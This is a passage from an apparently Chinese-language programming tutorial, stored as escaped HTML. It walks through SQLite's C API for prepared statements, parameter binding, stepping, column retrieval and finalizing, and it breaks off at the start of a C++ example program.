class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003elocation\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprice\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003enumRooms\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003enumAvail\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eVALUES\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"err\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003eLOCATION\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"err\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003ePRICE\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"err\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003eNUMBEROFROOMS\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"err\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003eNUMBEROFAVALIABLE\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u0026#34;\u0026#34;;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e然后使用这个函数,准备声明:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003estmt\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nb\"\u003eNULL\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 先初始化一个空的 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_prepare_v2\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esqlite3\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 需要用到的数据库 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003ezSql\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* SQL 语句 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003enByte\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 字符串长度 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e \u003cspan class=\"o\"\u003e**\u003c/span\u003e\u003cspan class=\"n\"\u003eppStmt\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* OUT: 指向一个需要初始化的声明 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e**\u003c/span\u003e\u003cspan class=\"n\"\u003epzTail\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* OUT: 貌似是说 SQL 声明的尾部,可以不管吧 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e然后,使用 \u003ccode\u003esqlite_bind\u003c/code\u003e系列函数在声明上绑定变量,以下用 \u003ccode\u003esqlite3_bind_text\u003c/code\u003e 举例:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_bind_text\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 需要用到的声明 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 在声明需要绑定位置的索引,从 1 开始计数 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 需要绑定的字符串 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 字符串的长度 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e)(\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 某种析构函数,当绑定失败执行这个吧 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e还有 \u003ccode\u003esqlite3_bind_int\u003c/code\u003e,\u003ccode\u003esqlite3_bind_double\u003c/code\u003e之类,用法都差不多。\u003c/p\u003e\n\u003cp\u003e注意,你可以用这个函数寻找声明里面的索引:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_bind_parameter_index\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 需要用到的声明 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003ezName\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 需要寻找的绑定位置 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e如果没找到的话,就返回 0。\u003c/p\u003e\n\u003cp\u003e现在你可以执行绑定完变量的声明了。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_step\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e \u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 需要用到的声明 */\u003c/span\u003e \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e这个函数执行完,有三个状态:\u003ccode\u003eSQLITE_DONE\u003c/code\u003e,\u003ccode\u003eSQLITE_ROW\u003c/code\u003e和各种报错。接下来我们关注 ``SQLITE_ROW`,也就是返回一条行记录的状况,这个一般会出现在执行了 SELECT 的情况。\u003c/p\u003e\n\u003cp\u003e我们使用 \u003ccode\u003esqlite_column\u003c/code\u003e系列函数取出这些东西,先输入使用到的声明,然后输入索引,返回值就是里面的数据。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"nf\"\u003esqlite3_column_blob\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eiCol\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003edouble\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_column_double\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eiCol\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_column_int\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eiCol\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003esqlite3_int64\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_column_int64\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eiCol\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"nf\"\u003esqlite3_column_text\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eiCol\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"nf\"\u003esqlite3_column_text16\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eiCol\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003esqlite3_value\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"nf\"\u003esqlite3_column_value\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eiCol\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_column_bytes\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eiCol\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_column_bytes16\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eiCol\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_column_type\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eiCol\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e清除绑定,使用如下函数:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_reset\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003epStmt\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 需要用到的声明 */\u003c/span\u003e \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e删除声明,使用如下函数:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_finalize\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003epStmt\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 需要删除的声明 */\u003c/span\u003e \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"举个-cpp-里面的例子\"\u003e举个 CPP 里面的例子\u003c/h3\u003e\n\u003cp\u003e目前我没有找到能让我舒心使用的 CPP SQLITE 库。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-CPP\" data-lang=\"CPP\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;cstddef\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;sqlite3.h\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;iostream\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;cstring\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;sstream\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;string\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;vector\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;map\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;algorithm\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e\u003c/span\u003e\u003cspan class=\"k\"\u003eusing\u003c/span\u003e \u003cspan class=\"k\"\u003enamespace\u003c/span\u003e \u003cspan class=\"n\"\u003estd\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/*======================================\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e Data Structure\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e======================================*/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003estruct\u003c/span\u003e \u003cspan class=\"nc\"\u003eTeacherDS\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003estring\u003c/span\u003e \u003cspan class=\"n\"\u003eTno\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003estring\u003c/span\u003e \u003cspan class=\"n\"\u003eTname\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003estring\u003c/span\u003e \u003cspan class=\"n\"\u003eTele\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003estring\u003c/span\u003e \u003cspan class=\"n\"\u003eTRS\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003estring\u003c/span\u003e \u003cspan class=\"n\"\u003ePass\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003etypedef\u003c/span\u003e \u003cspan class=\"n\"\u003emap\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003evector\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003epair\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u0026gt;\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eTimeInformation\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/*======================================\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e Database Class\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan 